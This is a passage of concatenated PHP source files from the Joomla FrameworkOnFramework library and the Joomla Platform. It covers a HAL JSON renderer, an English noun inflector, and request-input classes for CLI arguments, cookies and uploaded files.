LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Implements the HAL over JSON renderer
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFHalRenderJson implements FOFHalRenderInterface
{
/**
* When data is an array we'll output the list of data under this key
*
* @var string
*/
private $_dataKey = '_list';
/**
* The document to render
*
* @var FOFHalDocument
*/
protected $_document;
/**
* Public constructor
*
* @param FOFHalDocument &$document The document to render
*/
public function __construct(&$document)
{
$this->_document = $document;
}
/**
* Render a HAL document in JSON format
*
* @param array $options Rendering options. You can currently only set
json_options (json_encode options)
*
* @return string The JSON representation of the HAL document
*/
public function render($options = array())
{
if (isset($options['data_key']))
{
$this->_dataKey = $options['data_key'];
}
if (isset($options['json_options']))
{
$jsonOptions = $options['json_options'];
}
else
{
$jsonOptions = 0;
}
$serialiseThis = new stdClass;
// Add links
$collection = $this->_document->getLinks();
$serialiseThis->_links = new stdClass;
foreach ($collection as $rel => $links)
{
if (!is_array($links))
{
$serialiseThis->_links->$rel = $this->_getLink($links);
}
else
{
$serialiseThis->_links->$rel = array();
foreach ($links as $link)
{
array_push($serialiseThis->_links->$rel,
$this->_getLink($link));
}
}
}
// Add embedded documents
$collection = $this->_document->getEmbedded();
if (!empty($collection))
{
$serialiseThis->_embedded->$rel = new stdClass;
foreach ($collection as $rel => $embeddeddocs)
{
if (!is_array($embeddeddocs))
{
$embeddeddocs = array($embeddeddocs);
}
foreach ($embeddeddocs as $embedded)
{
$renderer = new FOFHalRenderJson($embedded);
array_push($serialiseThis->_embedded->$rel,
$renderer->render($options));
}
}
}
// Add data
$data = $this->_document->getData();
if (is_object($data))
{
if ($data instanceof FOFTable)
{
$data = $data->getData();
}
else
{
$data = (array) $data;
}
if (!empty($data))
{
foreach ($data as $k => $v)
{
$serialiseThis->$k = $v;
}
}
}
elseif (is_array($data))
{
$serialiseThis->{$this->_dataKey} = $data;
}
return json_encode($serialiseThis, $jsonOptions);
}
/**
* Converts a FOFHalLink object into a stdClass object which will be used
* for JSON serialisation
*
* @param FOFHalLink $link The link you want converted
*
* @return stdClass The converted link object
*/
protected function _getLink(FOFHalLink $link)
{
$ret = array(
'href' => $link->href
);
if ($link->templated)
{
$ret['templated'] = 'true';
}
if (!empty($link->name))
{
$ret['name'] = $link->name;
}
if (!empty($link->hreflang))
{
$ret['hreflang'] = $link->hreflang;
}
if (!empty($link->title))
{
$ret['title'] = $link->title;
}
return (object) $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage include
* @copyright Copyright (C) 2010-2015 Nicholas K. Dionysopoulos
* @license GNU General Public License version 2, or later
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*
* @deprecated 4.0 Deprecated without replacement include FOF by your
own if required
*
* Initializes FOF
*/
defined('_JEXEC') or die();
if (!defined('FOF_INCLUDED'))
{
define('FOF_INCLUDED', '2.5.5');
// Register the FOF autoloader
require_once __DIR__ . '/autoloader/fof.php';
FOFAutoloaderFof::init();
// Register a debug log
if (defined('JDEBUG') && JDEBUG)
{
FOFPlatform::getInstance()->logAddLogger('fof.log.php');
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage inflector
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* The FOFInflector is an adaptation of the Akelos PHP Inflector which is a
PHP
* port from a Ruby on Rails project.
*/
/**
* FOFInflector to pluralize and singularize English nouns.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFInflector
{
/**
* Rules for pluralizing and singularizing of nouns.
*
* @var array
*/
protected static $_rules = array
(
'pluralization' => array(
'/move$/i' => 'moves',
'/sex$/i' => 'sexes',
'/child$/i' => 'children',
'/children$/i' => 'children',
'/man$/i' => 'men',
'/men$/i' => 'men',
'/foot$/i' => 'feet',
'/feet$/i' => 'feet',
'/person$/i' => 'people',
'/people$/i' => 'people',
'/taxon$/i' => 'taxa',
'/taxa$/i' => 'taxa',
'/(quiz)$/i' => '$1zes',
'/^(ox)$/i' => '$1en',
'/oxen$/i' => 'oxen',
'/(m|l)ouse$/i' => '$1ice',
'/(m|l)ice$/i' => '$1ice',
'/(matr|vert|ind|suff)ix|ex$/i' => '$1ices',
'/(x|ch|ss|sh)$/i' => '$1es',
'/([^aeiouy]|qu)y$/i' => '$1ies',
'/(?:([^f])fe|([lr])f)$/i' => '$1$2ves',
'/sis$/i' => 'ses',
'/([ti]|addend)um$/i' => '$1a',
'/([ti]|addend)a$/i' => '$1a',
'/(alumn|formul)a$/i' => '$1ae',
'/(alumn|formul)ae$/i' => '$1ae',
'/(buffal|tomat|her)o$/i' => '$1oes',
'/(bu)s$/i' => '$1ses',
'/(alias|status)$/i' => '$1es',
'/(octop|vir)us$/i' => '$1i',
'/(octop|vir)i$/i' => '$1i',
'/(gen)us$/i' => '$1era',
'/(gen)era$/i' => '$1era',
'/(ax|test)is$/i' => '$1es',
'/s$/i' => 's',
'/$/' => 's',
),
'singularization' => array(
'/cookies$/i'
=> 'cookie',
'/moves$/i'
=> 'move',
'/sexes$/i'
=> 'sex',
'/children$/i'
=> 'child',
'/men$/i'
=> 'man',
'/feet$/i'
=> 'foot',
'/people$/i'
=> 'person',
'/taxa$/i'
=> 'taxon',
'/databases$/i'
=> 'database',
'/menus$/i'
=> 'menu',
'/(quiz)zes$/i'
=> '\1',
'/(matr|suff)ices$/i'
=> '\1ix',
'/(vert|ind|cod)ices$/i'
=> '\1ex',
'/^(ox)en/i'
=> '\1',
'/(alias|status)es$/i'
=> '\1',
'/(tomato|hero|buffalo)es$/i'
=> '\1',
'/([octop|vir])i$/i'
=> '\1us',
'/(gen)era$/i'
=> '\1us',
'/(cris|^ax|test)es$/i'
=> '\1is',
'/is$/i'
=> 'is',
'/us$/i'
=> 'us',
'/ias$/i'
=> 'ias',
'/(shoe)s$/i'
=> '\1',
'/(o)es$/i'
=> '\1e',
'/(bus)es$/i'
=> '\1',
'/([m|l])ice$/i'
=> '\1ouse',
'/(x|ch|ss|sh)es$/i'
=> '\1',
'/(m)ovies$/i'
=> '\1ovie',
'/(s)eries$/i'
=> '\1eries',
'/(v)ies$/i'
=> '\1ie',
'/([^aeiouy]|qu)ies$/i'
=> '\1y',
'/([lr])ves$/i'
=> '\1f',
'/(tive)s$/i'
=> '\1',
'/(hive)s$/i'
=> '\1',
'/([^f])ves$/i'
=> '\1fe',
'/(^analy)ses$/i'
=> '\1sis',
'/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i'
=> '\1\2sis',
'/([ti]|addend)a$/i'
=> '\1um',
'/(alumn|formul)ae$/i'
=> '$1a',
'/(n)ews$/i'
=> '\1ews',
'/(.*)ss$/i'
=> '\1ss',
'/(.*)s$/i'
=> '\1',
),
'countable' => array(
'aircraft',
'cannon',
'deer',
'equipment',
'fish',
'information',
'money',
'moose',
'rice',
'series',
'sheep',
'species',
'swine',
)
);
/**
* Cache of pluralized and singularized nouns.
*
* @var array
*/
protected static $_cache = array(
'singularized' => array(),
'pluralized' => array()
);
/**
* Constructor
*
* Prevent creating instances of this class by making the constructor
private
*/
private function __construct()
{
}
public static function deleteCache()
{
static::$_cache['pluralized'] = array();
static::$_cache['singularized'] = array();
}
/**
* Add a word to the cache, useful to make exceptions or to add words in
other languages.
*
* @param string $singular word.
* @param string $plural word.
*
* @return void
*/
public static function addWord($singular, $plural)
{
static::$_cache['pluralized'][$singular] = $plural;
static::$_cache['singularized'][$plural] = $singular;
}
/**
* Singular English word to plural.
*
* @param string $word word to pluralize.
*
* @return string Plural noun.
*/
public static function pluralize($word)
{
// Get the cached noun of it exists
if (isset(static::$_cache['pluralized'][$word]))
{
return static::$_cache['pluralized'][$word];
}
// Create the plural noun
if (in_array($word, self::$_rules['countable']))
{
static::$_cache['pluralized'][$word] = $word;
return $word;
}
foreach (self::$_rules['pluralization'] as $regexp =>
$replacement)
{
$matches = null;
$plural = preg_replace($regexp, $replacement, $word, -1, $matches);
if ($matches > 0)
{
static::$_cache['pluralized'][$word] = $plural;
return $plural;
}
}
static::$_cache['pluralized'][$word] = $word;
return static::$_cache['pluralized'][$word];
}
/**
* Plural English word to singular.
*
* @param string $word Word to singularize.
*
* @return string Singular noun.
*/
public static function singularize($word)
{
// Get the cached noun of it exists
if (isset(static::$_cache['singularized'][$word]))
{
return static::$_cache['singularized'][$word];
}
// Create the singular noun
if (in_array($word, self::$_rules['countable']))
{
static::$_cache['singularized'][$word] = $word;
return $word;
}
foreach (self::$_rules['singularization'] as $regexp =>
$replacement)
{
$matches = null;
$singular = preg_replace($regexp, $replacement, $word, -1, $matches);
if ($matches > 0)
{
static::$_cache['singularized'][$word] = $singular;
return $singular;
}
}
static::$_cache['singularized'][$word] = $word;
return static::$_cache['singularized'][$word];
}
/**
* Returns given word as CamelCased.
*
* Converts a word like "foo_bar" or "foo bar" to
"FooBar". It
* will remove non alphanumeric characters from the word, so
* "who's online" will be converted to
"WhoSOnline"
*
* @param string $word Word to convert to camel case.
*
* @return string UpperCamelCasedWord
*/
public static function camelize($word)
{
$word = preg_replace('/[^a-zA-Z0-9\s]/', ' ', $word);
$word = str_replace(' ', '',
ucwords(strtolower(str_replace('_', ' ', $word))));
return $word;
}
/**
* Converts a word "into_it_s_underscored_version"
*
* Convert any "CamelCased" or "ordinary Word" into an
"underscored_word".
*
* @param string $word Word to underscore
*
* @return string Underscored word
*/
public static function underscore($word)
{
$word = preg_replace('/(\s)+/', '_', $word);
$word = strtolower(preg_replace('/(?<=\\w)([A-Z])/',
'_\\1', $word));
return $word;
}
/**
* Convert any "CamelCased" word into an array of strings
*
* Returns an array of strings each of which is a substring of string
formed
* by splitting it at the camelcased letters.
*
* @param string $word Word to explode
*
* @return array Array of strings
*/
public static function explode($word)
{
$result = explode('_', self::underscore($word));
return $result;
}
/**
* Convert an array of strings into a "CamelCased" word.
*
* @param array $words Array to implode
*
* @return string UpperCamelCasedWord
*/
public static function implode($words)
{
$result = self::camelize(implode('_', $words));
return $result;
}
/**
* Returns a human-readable string from $word.
*
* Returns a human-readable string from $word, by replacing
* underscores with a space, and by upper-casing the initial
* character by default.
*
* @param string $word String to "humanize"
*
* @return string Human-readable word
*/
public static function humanize($word)
{
$result = ucwords(strtolower(str_replace("_", " ",
$word)));
return $result;
}
/**
* Converts a class name to its table name according to Koowa
* naming conventions.
*
* Converts "Person" to "people"
*
* @param string $className Class name for getting related table_name.
*
* @return string plural_table_name
*
* @see classify
*/
public static function tableize($className)
{
$result = self::underscore($className);
if (!self::isPlural($className))
{
$result = self::pluralize($result);
}
return $result;
}
/**
* Converts a table name to its class name according to Koowa naming
conventions.
*
* @param string $tableName Table name for getting related ClassName.
*
* @return string SingularClassName
*
* @example Converts "people" to "Person"
* @see tableize
*/
public static function classify($tableName)
{
$result = self::camelize(self::singularize($tableName));
return $result;
}
/**
* Returns camelBacked version of a string. Same as camelize but first
char is lowercased.
*
* @param string $string String to be camelBacked.
*
* @return string
*
* @see camelize
*/
public static function variablize($string)
{
$string = self::camelize(self::underscore($string));
$result = strtolower(substr($string, 0, 1));
$variable = preg_replace('/\\w/', $result, $string, 1);
return $variable;
}
/**
* Check to see if an English word is singular
*
* @param string $string The word to check
*
* @return boolean
*/
public static function isSingular($string)
{
// Check cache assuming the string is plural.
$singular = isset(static::$_cache['singularized'][$string]) ?
static::$_cache['singularized'][$string] : null;
$plural = $singular &&
isset(static::$_cache['pluralized'][$singular]) ?
static::$_cache['pluralized'][$singular] : null;
if ($singular && $plural)
{
return $plural != $string;
}
// If string is not in the cache, try to pluralize and singularize it.
return self::singularize(self::pluralize($string)) == $string;
}
/**
* Check to see if an Enlish word is plural.
*
* @param string $string String to be checked.
*
* @return boolean
*/
public static function isPlural($string)
{
// Check cache assuming the string is singular.
$plural = isset(static::$_cache['pluralized'][$string]) ?
static::$_cache['pluralized'][$string] : null;
$singular = $plural &&
isset(static::$_cache['singularized'][$plural]) ?
static::$_cache['singularized'][$plural] : null;
if ($plural && $singular)
{
return $singular != $string;
}
// If string is not in the cache, try to singularize and pluralize it.
return self::pluralize(self::singularize($string)) == $string;
}
/**
* Gets a part of a CamelCased word by index.
*
* Use a negative index to start at the last part of the word (-1 is the
* last part)
*
* @param string $string Word
* @param integer $index Index of the part
* @param string $default Default value
*
* @return string
*/
public static function getPart($string, $index, $default = null)
{
$parts = self::explode($string);
if ($index < 0)
{
$index = count($parts) + $index;
}
return isset($parts[$index]) ? $parts[$index] : $default;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage input
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (version_compare(JVERSION, '1.7.0', 'lt'))
{
jimport('joomla.filter.input');
jimport('joomla.filter.filterinput');
jimport('joomla.base.object');
require_once __DIR__ . '/jinput/input.php';
require_once __DIR__ . '/jinput/cli.php';
require_once __DIR__ . '/jinput/cookie.php';
require_once __DIR__ . '/jinput/files.php';
require_once __DIR__ . '/jinput/json.php';
}
elseif (version_compare(JVERSION, '2.5.0', 'lt'))
{
jimport('joomla.application.input');
jimport('joomla.input.input');
}
/**
* FrameworkOnFramework input handling class. Extends upon the JInput
class.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFInput extends JInput
{
/**
* Public constructor. Overridden to allow specifying the global input
array
* to use as a string and instantiate from an objetc holding variables.
*
* @param array|string|object|null $source Source data; set null to
use $_REQUEST
* @param array $options Filter options
*/
public function __construct($source = null, array $options = array())
{
$hash = null;
if (is_string($source))
{
$hash = strtoupper($source);
switch ($hash)
{
case 'GET':
$source = $_GET;
break;
case 'POST':
$source = $_POST;
break;
case 'FILES':
$source = $_FILES;
break;
case 'COOKIE':
$source = $_COOKIE;
break;
case 'ENV':
$source = $_ENV;
break;
case 'SERVER':
$source = $_SERVER;
break;
default:
$source = $_REQUEST;
$hash = 'REQUEST';
break;
}
}
elseif (is_object($source))
{
try
{
$source = (array) $source;
}
catch (Exception $exc)
{
$source = null;
}
}
elseif (is_array($source))
{
// Nothing, it's already an array
}
else
{
// Any other case
$source = $_REQUEST;
$hash = 'REQUEST';
}
// Magic quotes GPC handling (something JInput simply can't handle
at all)
if (($hash == 'REQUEST') && PHP_VERSION_ID < 50400
&& get_magic_quotes_gpc() &&
class_exists('JRequest', true))
{
$source = JRequest::get('REQUEST', 2);
}
parent::__construct($source, $options);
}
/**
* Gets a value from the input data. Overridden to allow specifying a
filter
* mask.
*
* @param string $name Name of the value to get.
* @param mixed $default Default value to return if variable does not
exist.
* @param string $filter Filter to apply to the value.
* @param int $mask The filter mask
*
* @return mixed The filtered input value.
*/
public function get($name, $default = null, $filter = 'cmd',
$mask = 0)
{
if (isset($this->data[$name]))
{
return $this->_cleanVar($this->data[$name], $mask, $filter);
}
return $default;
}
/**
* Returns a copy of the raw data stored in the class
*
* @return array
*/
public function getData()
{
return $this->data;
}
/**
* Old static methods are now deprecated. This magic method makes sure
there
* is a continuity in our approach. The downside is that it's only
compatible
* with PHP 5.3.0. Sorry!
*
* @param string $name Name of the method we're calling
* @param array $arguments The arguments passed to the method
*
* @return mixed
*/
public static function __callStatic($name, $arguments)
{
FOFPlatform::getInstance()->logDeprecated('FOFInput: static
getXXX() methods are deprecated. Use the input object\'s methods
instead.');
if (substr($name, 0, 3) == 'get')
{
// Initialise arguments
$key = array_shift($arguments);
$default = array_shift($arguments);
$input = array_shift($arguments);
$type = 'none';
$mask = 0;
$type = strtolower(substr($name, 3));
if ($type == 'var')
{
$type = array_shift($arguments);
$mask = array_shift($arguments);
}
if (is_null($type))
{
$type = 'none';
}
if (is_null($mask))
{
$mask = 0;
}
if (!($input instanceof FOFInput) && !($input instanceof
JInput))
{
$input = new FOFInput($input);
}
return $input->get($key, $default, $type, $mask);
}
return false;
}
/**
* Magic method to get filtered input data.
*
* @param mixed $name Name of the value to get.
* @param string $arguments Default value to return if variable does
not exist.
*
* @return boolean The filtered boolean input value.
*/
public function __call($name, $arguments)
{
if (substr($name, 0, 3) == 'get')
{
$filter = substr($name, 3);
$default = null;
$mask = 0;
if (isset($arguments[1]))
{
$default = $arguments[1];
}
if (isset($arguments[2]))
{
$mask = $arguments[2];
}
return $this->get($arguments[0], $default, $filter, $mask);
}
}
/**
* Sets an input variable. WARNING: IT SHOULD NO LONGER BE USED!
*
* @param string $name The name of the variable to set
* @param mixed $value The value to set it to
* @param array &$input The input array or FOFInput object
* @param boolean $overwrite Should I overwrite existing values
(default: true)
*
* @return string Previous value
*
* @deprecated
*/
public static function setVar($name, $value = null, &$input = array(),
$overwrite = true)
{
FOFPlatform::getInstance()->logDeprecated('FOFInput::setVar() is
deprecated. Use set() instead.');
if (empty($input))
{
return JRequest::setVar($name, $value, 'default', $overwrite);
}
elseif (is_string($input))
{
return JRequest::setVar($name, $value, $input, $overwrite);
}
else
{
if (!$overwrite && array_key_exists($name, $input))
{
return $input[$name];
}
$previous = array_key_exists($name, $input) ? $input[$name] : null;
if (is_array($input))
{
$input[$name] = $value;
}
elseif ($input instanceof FOFInput)
{
$input->set($name, $value);
}
return $previous;
}
}
/**
* Custom filter implementation. Works better with arrays and allows the
use
* of a filter mask.
*
* @param mixed $var The variable (value) to clean
* @param integer $mask The clean mask
* @param string $type The variable type
*
* @return mixed
*/
protected function _cleanVar($var, $mask = 0, $type = null)
{
if (is_array($var))
{
$temp = array();
foreach ($var as $k => $v)
{
$temp[$k] = self::_cleanVar($v, $mask);
}
return $temp;
}
// If the no trim flag is not set, trim the variable
if (!($mask & 1) && is_string($var))
{
$var = trim($var);
}
// Now we handle input filtering
if ($mask & 2)
{
// If the allow raw flag is set, do not modify the variable
$var = $var;
}
elseif ($mask & 4)
{
// If the allow HTML flag is set, apply a safe HTML filter to the
variable
$safeHtmlFilter = JFilterInput::getInstance(null, null, 1, 1);
$var = $safeHtmlFilter->clean($var, $type);
}
else
{
$var = $this->filter->clean($var, $type);
}
return $var;
}
}
<?php
/**
* @package Joomla.Platform
* @subpackage Input
*
* @copyright Copyright (C) 2005-2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla! Input CLI Class
*
* @since 11.1
*/
class JInputCli extends JInput
{
/**
* The executable that was called to run the CLI script.
*
* @var string
* @since 11.1
*/
public $executable;
/**
* The additional arguments passed to the script that are not associated
* with a specific argument name.
*
* @var array
* @since 11.1
*/
public $args = array();
/**
* Constructor.
*
* @param array $source Source data (Optional, default is $_REQUEST)
* @param array $options Array of configuration parameters (Optional)
*
* @since 11.1
*/
public function __construct(array $source = null, array $options =
array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
// Get the command line options
$this->parseArguments();
// Set the options for the class.
$this->options = $options;
}
/**
* Method to serialize the input.
*
* @return string The serialized input.
*
* @since 12.1
*/
public function serialize()
{
// Load all of the inputs.
$this->loadAllInputs();
// Remove $_ENV and $_SERVER from the inputs.
$inputs = $this->inputs;
unset($inputs['env']);
unset($inputs['server']);
// Serialize the executable, args, options, data, and inputs.
return serialize(array($this->executable, $this->args,
$this->options, $this->data, $inputs));
}
/**
* Method to unserialize the input.
*
* @param string $input The serialized input.
*
* @return JInput The input object.
*
* @since 12.1
*/
public function unserialize($input)
{
// Unserialize the executable, args, options, data, and inputs.
list($this->executable, $this->args, $this->options,
$this->data, $this->inputs) = unserialize($input);
// Load the filter.
if (isset($this->options['filter']))
{
$this->filter = $this->options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
}
/**
* Initialise the options and arguments
*
* Not supported: -abc c-value
*
* @return void
*
* @since 11.1
*/
protected function parseArguments()
{
$argv = $_SERVER['argv'];
$this->executable = array_shift($argv);
$out = array();
for ($i = 0, $j = count($argv); $i < $j; $i++)
{
$arg = $argv[$i];
// --foo --bar=baz
if (substr($arg, 0, 2) === '--')
{
$eqPos = strpos($arg, '=');
// --foo
if ($eqPos === false)
{
$key = substr($arg, 2);
// --foo value
if ($i + 1 < $j && $argv[$i + 1][0] !== '-')
{
$value = $argv[$i + 1];
$i++;
}
else
{
$value = isset($out[$key]) ? $out[$key] : true;
}
$out[$key] = $value;
}
// --bar=baz
else
{
$key = substr($arg, 2, $eqPos - 2);
$value = substr($arg, $eqPos + 1);
$out[$key] = $value;
}
}
elseif (substr($arg, 0, 1) === '-')
// -k=value -abc
{
// -k=value
if (substr($arg, 2, 1) === '=')
{
$key = substr($arg, 1, 1);
$value = substr($arg, 3);
$out[$key] = $value;
}
else
// -abc
{
$chars = str_split(substr($arg, 1));
foreach ($chars as $char)
{
$key = $char;
$value = isset($out[$key]) ? $out[$key] : true;
$out[$key] = $value;
}
// -a a-value
if ((count($chars) === 1) && ($i + 1 < $j) &&
($argv[$i + 1][0] !== '-'))
{
$out[$key] = $argv[$i + 1];
$i++;
}
}
}
else
{
// Plain-arg
$this->args[] = $arg;
}
}
$this->data = $out;
}
}
<?php
/**
* @package Joomla.Platform
* @subpackage Input
*
* @copyright Copyright (C) 2005-2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla! Input Cookie Class
*
* @since 11.1
*/
class JInputCookie extends JInput
{
/**
* Constructor.
*
* @param array $source Ignored.
* @param array $options Array of configuration parameters (Optional)
*
* @since 11.1
*/
public function __construct(array $source = null, array $options =
array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
// Set the data source.
$this->data = & $_COOKIE;
// Set the options for the class.
$this->options = $options;
}
/**
* Sets a value
*
* @param string $name Name of the value to set.
* @param mixed $value Value to assign to the input.
* @param integer $expire The time the cookie expires. This is a
Unix timestamp so is in number
* of seconds since the epoch. In other
words, you'll most likely set this
* with the time() function plus the number
of seconds before you want it
* to expire. Or you might use mktime().
time()+60*60*24*30 will set the
* cookie to expire in 30 days. If set to 0,
or omitted, the cookie will
* expire at the end of the session (when the
browser closes).
* @param string $path The path on the server in which the cookie
will be available on. If set
* to '/', the cookie will be
available within the entire domain. If set to
* '/foo/', the cookie will only be
available within the /foo/ directory and
* all sub-directories such as /foo/bar/ of
domain. The default value is the
* current directory that the cookie is being
set in.
* @param string $domain The domain that the cookie is available
to. To make the cookie available
* on all subdomains of example.com
(including example.com itself) then you'd
* set it to '.example.com'.
Although some browsers will accept cookies without
* the initial ., RFC 2109 requires it to be
included. Setting the domain to
* 'www.example.com' or
'.www.example.com' will make the cookie only available
* in the www subdomain.
* @param boolean $secure Indicates that the cookie should only be
transmitted over a secure HTTPS
* connection from the client. When set to
TRUE, the cookie will only be set
* if a secure connection exists. On the
server-side, it's on the programmer
* to send this kind of cookie only on secure
connection (e.g. with respect
* to $_SERVER["HTTPS"]).
* @param boolean $httpOnly When TRUE the cookie will be made
accessible only through the HTTP protocol.
* This means that the cookie won't be
accessible by scripting languages, such
* as JavaScript. This setting can
effectively help to reduce identity theft
* through XSS attacks (although it is not
supported by all browsers).
*
* @return void
*
* @link http://www.ietf.org/rfc/rfc2109.txt
* @see setcookie()
* @since 11.1
*/
public function set($name, $value, $expire = 0, $path = '',
$domain = '', $secure = false, $httpOnly = false)
{
setcookie($name, $value, $expire, $path, $domain, $secure, $httpOnly);
$this->data[$name] = $value;
}
}
<?php
/**
* @package Joomla.Platform
* @subpackage Input
* @copyright Copyright (C) 2005-2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla! Input Files Class
*
* @since 11.1
*/
class JInputFiles extends JInput
{
/**
* The pivoted data from a $_FILES or compatible array.
*
* @var array
* @since 11.1
*/
protected $decodedData = array();
/**
* The class constructor.
*
* @param array $source The source argument is ignored. $_FILES is
always used.
* @param array $options An optional array of configuration options:
* filter : a custom JFilterInput object.
*
* @since 12.1
*/
public function __construct(array $source = null, array $options =
array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
// Set the data source.
$this->data = & $_FILES;
// Set the options for the class.
$this->options = $options;
}
/**
* Gets a value from the input data.
*
* @param string $name The name of the input property (usually the
name of the files INPUT tag) to get.
* @param mixed $default The default value to return if the named
property does not exist.
* @param string $filter The filter to apply to the value.
*
* @return mixed The filtered input value.
*
* @see JFilterInput::clean()
* @since 11.1
*/
public function get($name, $default = null, $filter = 'cmd')
{
if (isset($this->data[$name]))
{
$results = $this->decodeData(
array(
$this->data[$name]['name'],
$this->data[$name]['type'],
$this->data[$name]['tmp_name'],
$this->data[$name]['error'],
$this->data[$name]['size']
)
);
// Prevent returning an unsafe file unless specifically requested
if ($filter != 'raw')
{
$isSafe = JFilterInput::isSafeFile($results);
if (!$isSafe)
{
return $default;
}
}
return $results;
}
return $default;
}
/**
* Method to decode a data array.
*
* @param array $data The data array to decode.
*
* @return array
*
* @since 11.1
*/
protected function decodeData(array $data)
{
$result = array();
if (is_array($data[0]))
{
foreach ($data[0] as $k => $v)
{
$result[$k] = $this->decodeData(array($data[0][$k], $data[1][$k],
$data[2][$k], $data[3][$k], $data[4][$k]));
}
return $result;
}
return array('name' => $data[0], 'type' =>
$data[1], 'tmp_name' => $data[2], 'error' =>
$data[3], 'size' => $data[4]);
}
/**
* Sets a value.
*
* @param string $name The name of the input property to set.
* @param mixed $value The value to assign to the input property.
*
* @return void
*
* @since 11.1
*/
public function set($name, $value)
{
}
}
<?php
/**
* @package Joomla.Platform
* @subpackage Input
*
* @copyright Copyright (C) 2005-2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla! Input Base Class
*
* This is an abstracted input class used to manage retrieving data from
the application environment.
*
* @since 11.1
*
* @property-read JInput $get
* @property-read JInput $post
* @property-read JInput $request
* @property-read JInput $server
* @property-read JInputFiles $files
* @property-read JInputCookie $cookie
*
* @method integer getInt() getInt($name, $default = null)
Get a signed integer.
* @method integer getUint() getUint($name, $default = null)
Get an unsigned integer.
* @method float getFloat() getFloat($name, $default = null)
Get a floating-point number.
* @method boolean getBool() getBool($name, $default = null)
Get a boolean.
* @method string getWord() getWord($name, $default = null)
* @method string getAlnum() getAlnum($name, $default = null)
* @method string getCmd() getCmd($name, $default = null)
* @method string getBase64() getBase64($name, $default = null)
* @method string getString() getString($name, $default = null)
* @method string getHtml() getHtml($name, $default = null)
* @method string getPath() getPath($name, $default = null)
* @method string getUsername() getUsername($name, $default = null)
*/
class JInput implements Serializable, Countable
{
/**
* Options array for the JInput instance.
*
* @var array
* @since 11.1
*/
protected $options = array();
/**
* Filter object to use.
*
* @var JFilterInput
* @since 11.1
*/
protected $filter = null;
/**
* Input data.
*
* @var array
* @since 11.1
*/
protected $data = array();
/**
* Input objects
*
* @var array
* @since 11.1
*/
protected $inputs = array();
/**
* Constructor.
*
* @param array $source Source data (Optional, default is $_REQUEST)
* @param array $options Array of configuration parameters (Optional)
*
* @since 11.1
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
if (is_null($source))
{
$this->data = &$_REQUEST;
}
else
{
$this->data = $source;
}
// Set the options for the class.
$this->options = $options;
}
/**
* Magic method to get an input object
*
* @param mixed $name Name of the input object to retrieve.
*
* @return JInput The request input object
*
* @since 11.1
*/
public function __get($name)
{
if (isset($this->inputs[$name]))
{
return $this->inputs[$name];
}
$className = 'JInput' . ucfirst($name);
if (class_exists($className))
{
$this->inputs[$name] = new $className(null, $this->options);
return $this->inputs[$name];
}
$superGlobal = '_' . strtoupper($name);
if (isset($GLOBALS[$superGlobal]))
{
$this->inputs[$name] = new JInput($GLOBALS[$superGlobal],
$this->options);
return $this->inputs[$name];
}
// TODO throw an exception
}
/**
* Get the number of variables.
*
* @return integer The number of variables in the input.
*
* @since 12.2
* @see Countable::count()
*/
public function count()
{
return count($this->data);
}
/**
* Gets a value from the input data.
*
* @param string $name Name of the value to get.
* @param mixed $default Default value to return if variable does not
exist.
* @param string $filter Filter to apply to the value.
*
* @return mixed The filtered input value.
*
* @since 11.1
*/
public function get($name, $default = null, $filter = 'cmd')
{
if (isset($this->data[$name]))
{
return $this->filter->clean($this->data[$name], $filter);
}
return $default;
}
/**
* Gets an array of values from the request.
*
* @param array $vars Associative array of keys and filter types
to apply.
* If empty and datasource is null, all the
input data will be returned
* but filtered using the default case in
JFilterInput::clean.
* @param mixed $datasource Array to retrieve data from, or null
*
* @return mixed The filtered input data.
*
* @since 11.1
*/
public function getArray(array $vars = array(), $datasource = null)
{
if (empty($vars) && is_null($datasource))
{
$vars = $this->data;
}
$results = array();
foreach ($vars as $k => $v)
{
if (is_array($v))
{
if (is_null($datasource))
{
$results[$k] = $this->getArray($v, $this->get($k, null,
'array'));
}
else
{
$results[$k] = $this->getArray($v, $datasource[$k]);
}
}
else
{
if (is_null($datasource))
{
$results[$k] = $this->get($k, null, $v);
}
elseif (isset($datasource[$k]))
{
$results[$k] = $this->filter->clean($datasource[$k], $v);
}
else
{
$results[$k] = $this->filter->clean(null, $v);
}
}
}
return $results;
}
/**
* Sets a value
*
* @param string $name Name of the value to set.
* @param mixed $value Value to assign to the input.
*
* @return void
*
* @since 11.1
*/
public function set($name, $value)
{
$this->data[$name] = $value;
}
/**
